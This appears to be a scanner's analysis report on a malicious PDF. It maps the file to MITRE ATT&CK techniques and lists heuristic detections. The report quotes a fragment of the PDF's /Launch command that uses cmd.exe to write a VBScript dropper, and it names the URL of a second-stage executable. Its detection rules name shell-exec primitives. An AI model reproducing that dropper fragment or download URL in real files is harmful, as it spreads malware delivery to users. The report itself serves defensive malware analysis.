T1204.002 Malicious File
T1059.003 Windows Command Shell
T1105 Ingress Tool Transfer
The PDF file contains a launch action that executes cmd.exe. This command is used to download and execute a payload from the URL http://www.directvirus.com/sw3243223.exe. The embedded script marker and the PDF launch command indicate a malicious intent to download and run a second-stage executable.
Heuristics 4
-
/Launch action target: "cmd.exe" critical PDF_LAUNCH_COMMANDPDF /Launch action specifies an executable target with parameters '/q/c "echo Const\".Shell\" >> %temp%\\qweoi32.vbs & echo Set ASDSAD = CreateObject(G+T' — references a known-dangerous executable (cmd, PowerShell, etc.).
-
Launch action high PDF_LAUNCHPDF contains a /Launch action with an unresolved or extension-less target — treat as potentially dangerous
-
Embedded script payload in PDF stream high PDF_EMBEDDED_SCRIPT_PAYLOADPDF stream bytes contain script execution markers such as ActiveXObject/CreateObject, WScript.Shell, PowerShell, or shell-exec primitives. This is stronger than ordinary PDF JavaScript because it indicates a staged external script payload hidden in stream bytes.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://www.directvirus.com/sw3243223.exe
